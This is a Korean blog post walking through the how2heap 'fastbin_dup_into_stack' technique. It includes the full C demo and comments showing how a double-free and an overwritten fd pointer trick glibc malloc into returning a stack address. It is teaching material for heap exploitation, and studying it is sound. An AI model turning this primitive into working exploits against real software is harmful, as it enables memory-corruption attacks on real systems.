ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • fastbin_dup_into_stack - how2heap
    Heap exploitation/how2heap 2020. 2. 17. 20:53

    Abstract


    fastbin_dup을 응용한 기법이다. fastbin_dup를 응용한 기법이다. fastbin_dup과의 차이점은 double-free를 한 후 다시 첫번째, 두번째 청크를 할당하고 첫번째 청크의 fd값을 stack의 주소(여기서는 stack이라 했지만 할당을 원하는 주소)로 변경해주는 것이다. fd값을 변경한 후 다시 같은 크기의 청크를 요청하면 stack의 주소를 리턴해준다.

    • 주의점: fastbin에서 재할당을 할 때는 청크의 사이즈가 요청한 사이즈와 같은지 확인한다. 그래서 변경한 fd값 + 0x8(64bit 기준)의 주소에 청크 사이즈가 저장되어 있어야 한다. 
    • 청크의 사이즈는 4바이트만 검사하기 때문에 하위 4바이트만 크기를 맞춰주면 된다.

     

    Exploit Flow


    1. 동일한 크기의 fastchunk를 3개 할당.
    2. (1), (2), (1)의 순서로 free.
    3. 동일한 크기의 fastchunk를 두번 할당.
    4. 첫번째로 할당받은 chunk의 fd에 스택의 주소를 저장.
    5. 저장한 fd+0x8의 주소에 요청한 사이즈의 청크사이즈를 계산해 저장.
    6. 한번 더 같은 사이즈의 fastchunk를 요청하면 fd+0x10의 주소가 리턴.

     

    Code


    #include <stdio.h>
    #include <stdlib.h>
    
    int main()
    {
    	fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
    	       "returning a pointer to a controlled location (in this case, the stack).\n");
    
    	unsigned long long stack_var;
    
        // malloc이 리턴해줄 주소는 (char*)&stack_var + 8 이다.
        // 여기서 stack_var는 청크의 size 위치이다.
    	fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
    
        // 힙 세개를 할당한다.
    	fprintf(stderr, "Allocating 3 buffers.\n");
    	int *a = malloc(8);
    	int *b = malloc(8);
    	int *c = malloc(8);
    
    	fprintf(stderr, "1st malloc(8): %p\n", a);
    	fprintf(stderr, "2nd malloc(8): %p\n", b);
    	fprintf(stderr, "3rd malloc(8): %p\n", c);
    
        // 첫번재 힙을 해제한다.
    	fprintf(stderr, "Freeing the first one...\n");
    	free(a);
    
        // fastbin_dup과 같이 연속으로 두번 해제하면 double-free로 인해 크래시가 난다.
    	fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    	// free(a);
    
        // 두번째 힙을 해제한다.
    	fprintf(stderr, "So, instead, we'll free %p.\n", b);
    	free(b);
    
        // 다시 첫번째 힙을 해제한다.
    	fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    	free(a);
    
        // malloc을 통해 첫번째로 할당받은 힙을 재할당받는다.
    	fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
    		"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    	unsigned long long *d = malloc(8);
    
        // 이렇게 할당받은 청크의 fd값을 변경할 것이다.
    	fprintf(stderr, "1st malloc(8): %p\n", d);
    	fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
    	fprintf(stderr, "Now the free list has [ %p ].\n", a);
    	fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
    		"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
    		"so that malloc will think there is a free chunk there and agree to\n"
    		"return a pointer to it.\n", a);
    
        // 먼저 fake chunk의 size값을 0x20으로 변경해준다.
    	stack_var = 0x20;
    
        // 첫번째 청크의 fd값을 (char*)&stack_var - 8 주소로 변경한다.
    	fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
    
        // 다시 한번 힙을 할당받으면 두번째 청크가 fastbin에서 빠지면서 fasbin에 우리가 넣어준 값이 들어간다.
    	fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
    
        // 마지막으로 한번 더 할당받으면 우리가 설정한 값 + 0x10의 주소가 할당된다.
    	fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
    }

     

    (1), (2), (1) 순으로 free하고 다시 한번 할당받는 것까지 fastbin_dup과 같으므로 생략한다.

     

    이후 첫번째 청크의 fd를 변경하기 위해 fake chunk의 size값을 설정해준다.

    $rbp-0x30은 stack_var이다. 이렇게 되면 fd의 값을 0x7fffffffddb8로 변경해주면 된다.

    이렇게 변경해주면 fastbin은 아래와 같은 상태가 된다.

    fastbin을 의도한대로 변경했다. 이제 두번 malloc을 받으면 스택 주소를 할당받을 수 있다.

     

    'Heap exploitation > how2heap' 카테고리의 다른 글

    House of Orange - how2heap  (0) 2020.02.26
    fastbin_dup_consolidate - how2heap  (0) 2020.02.17
    fastbin_dup - how2heap  (0) 2020.02.17

    댓글

Designed by Tistory.